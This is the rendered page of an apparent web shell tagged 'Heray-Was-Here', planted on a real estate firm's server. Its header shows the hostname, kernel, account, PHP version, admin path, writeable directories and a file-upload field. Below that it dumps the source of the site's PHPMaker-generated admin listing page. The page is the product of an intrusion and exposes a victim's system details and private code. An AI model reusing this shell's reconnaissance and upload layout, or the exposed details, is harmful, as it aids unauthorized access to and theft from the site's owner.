Heray-Was-Here
Server : Apache
System : Linux hybrid3195.ca.ns.planethoster.net 3.10.0-1160.119.1.el7.tuxcare.els19.x86_64 #1 SMP Mon Mar 31 17:29:00 UTC 2025 x86_64
User : alliancerealtynb ( 1004)
PHP Version : 7.4.33
Disable Function : noop
Directory :  /home/alliancerealtynb/dev.alliancerealty.nb.ca/adminAR/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/alliancerealtynb/dev.alliancerealty.nb.ca/adminAR/listinglist.php
<?php
namespace PHPMaker2020\Alliance;

// Autoload
include_once "autoload.php";

// Session
if (session_status() !== PHP_SESSION_ACTIVE)
	\Delight\Cookie\Session::start(Config("COOKIE_SAMESITE")); // Init session data

// Output buffering
ob_start();
?>
<?php

// Write header
WriteHeader(FALSE);

// Create page object
$listing_list = new listing_list();

// Run the page
$listing_list->run();

// Setup login status
SetupLoginStatus();
SetClientVar("login", LoginStatus());

// Global Page Rendering event (in userfn*.php)
Page_Rendering();

// Page Rendering event
$listing_list->Page_Render();
?>
<?php include_once "header.php"; ?>
<?php if (!$listing_list->isExport()) { ?>
<script>
var flistinglist, currentPageID;
loadjs.ready("head", function() {

	// Form object
	currentPageID = ew.PAGE_ID = "list";
	flistinglist = currentForm = new ew.Form("flistinglist", "list");
	flistinglist.formKeyCountName = '<?php echo $listing_list->FormKeyCountName ?>';
	loadjs.done("flistinglist");
});
</script>
<script>
loadjs.ready("head", function() {

	// Client script
	// Write your client script here, no need to add script tags.

});
</script>
<?php } ?>
<?php if (!$listing_list->isExport()) { ?>
<div class="btn-toolbar ew-toolbar">
<?php if ($listing_list->TotalRecords > 0 && $listing_list->ExportOptions->visible()) { ?>
<?php $listing_list->ExportOptions->render("body") ?>
<?php } ?>
<?php if ($listing_list->ImportOptions->visible()) { ?>
<?php $listing_list->ImportOptions->render("body") ?>
<?php } ?>
<div class="clearfix"></div>
</div>
<?php } ?>
<?php
$listing_list->renderOtherOptions();
?>
<?php $listing_list->showPageHeader(); ?>
<?php
$listing_list->showMessage();
?>
<?php if ($listing_list->TotalRecords > 0 || $listing->CurrentAction) { ?>
<div class="card ew-card ew-grid<?php if ($listing_list->isAddOrEdit()) { ?> ew-grid-add-edit<?php } ?> listing">
<?php if (!$listing_list->isExport()) { ?>
<div class="card-header ew-grid-upper-panel">
<?php if (!$listing_list->isGridAdd()) { ?>
<form name="ew-pager-form" class="form-inline ew-form ew-pager-form" action="<?php echo CurrentPageName() ?>">
<?php echo $listing_list->Pager->render() ?>
</form>
<?php } ?>
<div class="ew-list-other-options">
<?php $listing_list->OtherOptions->render("body") ?>
</div>
<div class="clearfix"></div>
</div>
<?php } ?>
<form name="flistinglist" id="flistinglist" class="form-inline ew-form ew-list-form" action="<?php echo CurrentPageName() ?>" method="post">
<?php if ($Page->CheckToken) { ?>
<input type="hidden" name="<?php echo Config("TOKEN_NAME") ?>" value="<?php echo $Page->Token ?>">
<?php } ?>
<input type="hidden" name="t" value="listing">
<div id="gmp_listing" class="<?php echo ResponsiveTableClass() ?>card-body ew-grid-middle-panel">
<?php if ($listing_list->TotalRecords > 0 || $listing_list->isGridEdit()) { ?>
<table id="tbl_listinglist" class="table ew-table"><!-- .ew-table -->
<thead>
	<tr class="ew-table-header">
<?php

// Header row
$listing->RowType = ROWTYPE_HEADER;

// Render list options
$listing_list->renderListOptions();

// Render list options (header, left)
$listing_list->ListOptions->render("header", "left");
?>
<?php if ($listing_list->Address->Visible) { // Address ?>
	<?php if ($listing_list->SortUrl($listing_list->Address) == "") { ?>
		<th data-name="Address" class="<?php echo $listing_list->Address->headerCellClass() ?>"><div id="elh_listing_Address" class="listing_Address"><div class="ew-table-header-caption"><?php echo $listing_list->Address->caption() ?></div></div></th>
	<?php } else { ?>
		<th data-name="Address" class="<?php echo $listing_list->Address->headerCellClass() ?>"><div class="ew-pointer" onclick="ew.sort(event, '<?php echo $listing_list->SortUrl($listing_list->Address) ?>', 1);"><div id="elh_listing_Address" class="listing_Address">
			<div class="ew-table-header-btn"><span class="ew-table-header-caption"><?php echo $listing_list->Address->caption() ?></span><span class="ew-table-header-sort"><?php if ($listing_list->Address->getSort() == "ASC") { ?><i class="fas fa-sort-up"></i><?php } elseif ($listing_list->Address->getSort() == "DESC") { ?><i class="fas fa-sort-down"></i><?php } ?></span></div>
		</div></div></th>
	<?php } ?>
<?php } ?>
<?php if ($listing_list->Town->Visible) { // Town ?>
	<?php if ($listing_list->SortUrl($listing_list->Town) == "") { ?>
		<th data-name="Town" class="<?php echo $listing_list->Town->headerCellClass() ?>"><div id="elh_listing_Town" class="listing_Town"><div class="ew-table-header-caption"><?php echo $listing_list->Town->caption() ?></div></div></th>
	<?php } else { ?>
		<th data-name="Town" class="<?php echo $listing_list->Town->headerCellClass() ?>"><div class="ew-pointer" onclick="ew.sort(event, '<?php echo $listing_list->SortUrl($listing_list->Town) ?>', 1);"><div id="elh_listing_Town" class="listing_Town">
			<div class="ew-table-header-btn"><span class="ew-table-header-caption"><?php echo $listing_list->Town->caption() ?></span><span class="ew-table-header-sort"><?php if ($listing_list->Town->getSort() == "ASC") { ?><i class="fas fa-sort-up"></i><?php } elseif ($listing_list->Town->getSort() == "DESC") { ?><i class="fas fa-sort-down"></i><?php } ?></span></div>
		</div></div></th>
	<?php } ?>
<?php } ?>
<?php if ($listing_list->Owner->Visible) { // Owner ?>
	<?php if ($listing_list->SortUrl($listing_list->Owner) == "") { ?>
		<th data-name="Owner" class="<?php echo $listing_list->Owner->headerCellClass() ?>"><div id="elh_listing_Owner" class="listing_Owner"><div class="ew-table-header-caption"><?php echo $listing_list->Owner->caption() ?></div></div></th>
	<?php } else { ?>
		<th data-name="Owner" class="<?php echo $listing_list->Owner->headerCellClass() ?>"><div class="ew-pointer" onclick="ew.sort(event, '<?php echo $listing_list->SortUrl($listing_list->Owner) ?>', 1);"><div id="elh_listing_Owner" class="listing_Owner">
			<div class="ew-table-header-btn"><span class="ew-table-header-caption"><?php echo $listing_list->Owner->caption() ?></span><span class="ew-table-header-sort"><?php if ($listing_list->Owner->getSort() == "ASC") { ?><i class="fas fa-sort-up"></i><?php } elseif ($listing_list->Owner->getSort() == "DESC") { ?><i class="fas fa-sort-down"></i><?php } ?></span></div>
		</div></div></th>
	<?php } ?>
<?php } ?>
<?php if ($listing_list->Visit->Visible) { // Visit ?>
	<?php if ($listing_list->SortUrl($listing_list->Visit) == "") { ?>
		<th data-name="Visit" class="<?php echo $listing_list->Visit->headerCellClass() ?>"><div id="elh_listing_Visit" class="listing_Visit"><div class="ew-table-header-caption"><?php echo $listing_list->Visit->caption() ?></div></div></th>
	<?php } else { ?>
		<th data-name="Visit" class="<?php echo $listing_list->Visit->headerCellClass() ?>"><div class="ew-pointer" onclick="ew.sort(event, '<?php echo $listing_list->SortUrl($listing_list->Visit) ?>', 1);"><div id="elh_listing_Visit" class="listing_Visit">
			<div class="ew-table-header-btn"><span class="ew-table-header-caption"><?php echo $listing_list->Visit->caption() ?></span><span class="ew-table-header-sort"><?php if ($listing_list->Visit->getSort() == "ASC") { ?><i class="fas fa-sort-up"></i><?php } elseif ($listing_list->Visit->getSort() == "DESC") { ?><i class="fas fa-sort-down"></i><?php } ?></span></div>
		</div></div></th>
	<?php } ?>
<?php } ?>
<?php if ($listing_list->Agent->Visible) { // Agent ?>
	<?php if ($listing_list->SortUrl($listing_list->Agent) == "") { ?>
		<th data-name="Agent" class="<?php echo $listing_list->Agent->headerCellClass() ?>"><div id="elh_listing_Agent" class="listing_Agent"><div class="ew-table-header-caption"><?php echo $listing_list->Agent->caption() ?></div></div></th>
	<?php } else { ?>
		<th data-name="Agent" class="<?php echo $listing_list->Agent->headerCellClass() ?>"><div class="ew-pointer" onclick="ew.sort(event, '<?php echo $listing_list->SortUrl($listing_list->Agent) ?>', 1);"><div id="elh_listing_Agent" class="listing_Agent">
			<div class="ew-table-header-btn"><span class="ew-table-header-caption"><?php echo $listing_list->Agent->caption() ?></span><span class="ew-table-header-sort"><?php if ($listing_list->Agent->getSort() == "ASC") { ?><i class="fas fa-sort-up"></i><?php } elseif ($listing_list->Agent->getSort() == "DESC") { ?><i class="fas fa-sort-down"></i><?php } ?></span></div>
		</div></div></th>
	<?php } ?>
<?php } ?>
<?php if ($listing_list->OwnerID->Visible) { // OwnerID ?>
	<?php if ($listing_list->SortUrl($listing_list->OwnerID) == "") { ?>
		<th data-name="OwnerID" class="<?php echo $listing_list->OwnerID->headerCellClass() ?>"><div id="elh_listing_OwnerID" class="listing_OwnerID"><div class="ew-table-header-caption"><?php echo $listing_list->OwnerID->caption() ?></div></div></th>
	<?php } else { ?>
		<th data-name="OwnerID" class="<?php echo $listing_list->OwnerID->headerCellClass() ?>"><div class="ew-pointer" onclick="ew.sort(event, '<?php echo $listing_list->SortUrl($listing_list->OwnerID) ?>', 1);"><div id="elh_listing_OwnerID" class="listing_OwnerID">
			<div class="ew-table-header-btn"><span class="ew-table-header-caption"><?php echo $listing_list->OwnerID->caption() ?></span><span class="ew-table-header-sort"><?php if ($listing_list->OwnerID->getSort() == "ASC") { ?><i class="fas fa-sort-up"></i><?php } elseif ($listing_list->OwnerID->getSort() == "DESC") { ?><i class="fas fa-sort-down"></i><?php } ?></span></div>
		</div></div></th>
	<?php } ?>
<?php } ?>
<?php

// Render list options (header, right)
$listing_list->ListOptions->render("header", "right");
?>
	</tr>
</thead>
<tbody>
<?php
if ($listing_list->ExportAll && $listing_list->isExport()) {
	$listing_list->StopRecord = $listing_list->TotalRecords;
} else {

	// Set the last record to display
	if ($listing_list->TotalRecords > $listing_list->StartRecord + $listing_list->DisplayRecords - 1)
		$listing_list->StopRecord = $listing_list->StartRecord + $listing_list->DisplayRecords - 1;
	else
		$listing_list->StopRecord = $listing_list->TotalRecords;
}
$listing_list->RecordCount = $listing_list->StartRecord - 1;
if ($listing_list->Recordset && !$listing_list->Recordset->EOF) {
	$listing_list->Recordset->moveFirst();
	$selectLimit = $listing_list->UseSelectLimit;
	if (!$selectLimit && $listing_list->StartRecord > 1)
		$listing_list->Recordset->move($listing_list->StartRecord - 1);
} elseif (!$listing->AllowAddDeleteRow && $listing_list->StopRecord == 0) {
	$listing_list->StopRecord = $listing->GridAddRowCount;
}

// Initialize aggregate
$listing->RowType = ROWTYPE_AGGREGATEINIT;
$listing->resetAttributes();
$listing_list->renderRow();
while ($listing_list->RecordCount < $listing_list->StopRecord) {
	$listing_list->RecordCount++;
	if ($listing_list->RecordCount >= $listing_list->StartRecord) {
		$listing_list->RowCount++;

		// Set up key count
		$listing_list->KeyCount = $listing_list->RowIndex;

		// Init row class and style
		$listing->resetAttributes();
		$listing->CssClass = "";
		if ($listing_list->isGridAdd()) {
		} else {
			$listing_list->loadRowValues($listing_list->Recordset); // Load row values
		}
		$listing->RowType = ROWTYPE_VIEW; // Render view

		// Set up row id / data-rowindex
		$listing->RowAttrs->merge(["data-rowindex" => $listing_list->RowCount, "id" => "r" . $listing_list->RowCount . "_listing", "data-rowtype" => $listing->RowType]);

		// Render row
		$listing_list->renderRow();

		// Render list options
		$listing_list->renderListOptions();
?>
	<tr <?php echo $listing->rowAttributes() ?>>
<?php

// Render list options (body, left)
$listing_list->ListOptions->render("body", "left", $listing_list->RowCount);
?>
	<?php if ($listing_list->Address->Visible) { // Address ?>
		<td data-name="Address" <?php echo $listing_list->Address->cellAttributes() ?>>
<span id="el<?php echo $listing_list->RowCount ?>_listing_Address">
<span<?php echo $listing_list->Address->viewAttributes() ?>><?php echo $listing_list->Address->getViewValue() ?></span>
</span>
</td>
	<?php } ?>
	<?php if ($listing_list->Town->Visible) { // Town ?>
		<td data-name="Town" <?php echo $listing_list->Town->cellAttributes() ?>>
<span id="el<?php echo $listing_list->RowCount ?>_listing_Town">
<span<?php echo $listing_list->Town->viewAttributes() ?>><?php echo $listing_list->Town->getViewValue() ?></span>
</span>
</td>
	<?php } ?>
	<?php if ($listing_list->Owner->Visible) { // Owner ?>
		<td data-name="Owner" <?php echo $listing_list->Owner->cellAttributes() ?>>
<span id="el<?php echo $listing_list->RowCount ?>_listing_Owner">
<span<?php echo $listing_list->Owner->viewAttributes() ?>><?php echo $listing_list->Owner->getViewValue() ?></span>
</span>
</td>
	<?php } ?>
	<?php if ($listing_list->Visit->Visible) { // Visit ?>
		<td data-name="Visit" <?php echo $listing_list->Visit->cellAttributes() ?>>
<span id="el<?php echo $listing_list->RowCount ?>_listing_Visit">
<span<?php echo $listing_list->Visit->viewAttributes() ?>><?php echo $listing_list->Visit->getViewValue() ?></span>
</span>
</td>
	<?php } ?>
	<?php if ($listing_list->Agent->Visible) { // Agent ?>
		<td data-name="Agent" <?php echo $listing_list->Agent->cellAttributes() ?>>
<span id="el<?php echo $listing_list->RowCount ?>_listing_Agent">
<span<?php echo $listing_list->Agent->viewAttributes() ?>><?php echo $listing_list->Agent->getViewValue() ?></span>
</span>
</td>
	<?php } ?>
	<?php if ($listing_list->OwnerID->Visible) { // OwnerID ?>
		<td data-name="OwnerID" <?php echo $listing_list->OwnerID->cellAttributes() ?>>
<span id="el<?php echo $listing_list->RowCount ?>_listing_OwnerID">
<span<?php echo $listing_list->OwnerID->viewAttributes() ?>><?php echo $listing_list->OwnerID->getViewValue() ?></span>
</span>
</td>
	<?php } ?>
<?php

// Render list options (body, right)
$listing_list->ListOptions->render("body", "right", $listing_list->RowCount);
?>
	</tr>
<?php
	}
	if (!$listing_list->isGridAdd())
		$listing_list->Recordset->moveNext();
}
?>
</tbody>
</table><!-- /.ew-table -->
<?php } ?>
</div><!-- /.ew-grid-middle-panel -->
<?php if (!$listing->CurrentAction) { ?>
<input type="hidden" name="action" id="action" value="">
<?php } ?>
</form><!-- /.ew-list-form -->
<?php

// Close recordset
if ($listing_list->Recordset)
	$listing_list->Recordset->Close();
?>
<?php if (!$listing_list->isExport()) { ?>
<div class="card-footer ew-grid-lower-panel">
<?php if (!$listing_list->isGridAdd()) { ?>
<form name="ew-pager-form" class="form-inline ew-form ew-pager-form" action="<?php echo CurrentPageName() ?>">
<?php echo $listing_list->Pager->render() ?>
</form>
<?php } ?>
<div class="ew-list-other-options">
<?php $listing_list->OtherOptions->render("body", "bottom") ?>
</div>
<div class="clearfix"></div>
</div>
<?php } ?>
</div><!-- /.ew-grid -->
<?php } ?>
<?php if ($listing_list->TotalRecords == 0 && !$listing->CurrentAction) { // Show other options ?>
<div class="ew-list-other-options">
<?php $listing_list->OtherOptions->render("body") ?>
</div>
<div class="clearfix"></div>
<?php } ?>
<?php
$listing_list->showPageFooter();
if (Config("DEBUG"))
	echo GetDebugMessage();
?>
<?php if (!$listing_list->isExport()) { ?>
<script>
loadjs.ready("load", function() {

	// Startup script
	// Write your table-specific startup script here
	// console.log("page loaded");

});
</script>
<?php } ?>
<?php include_once "footer.php"; ?>
<?php
$listing_list->terminate();
?>

Hry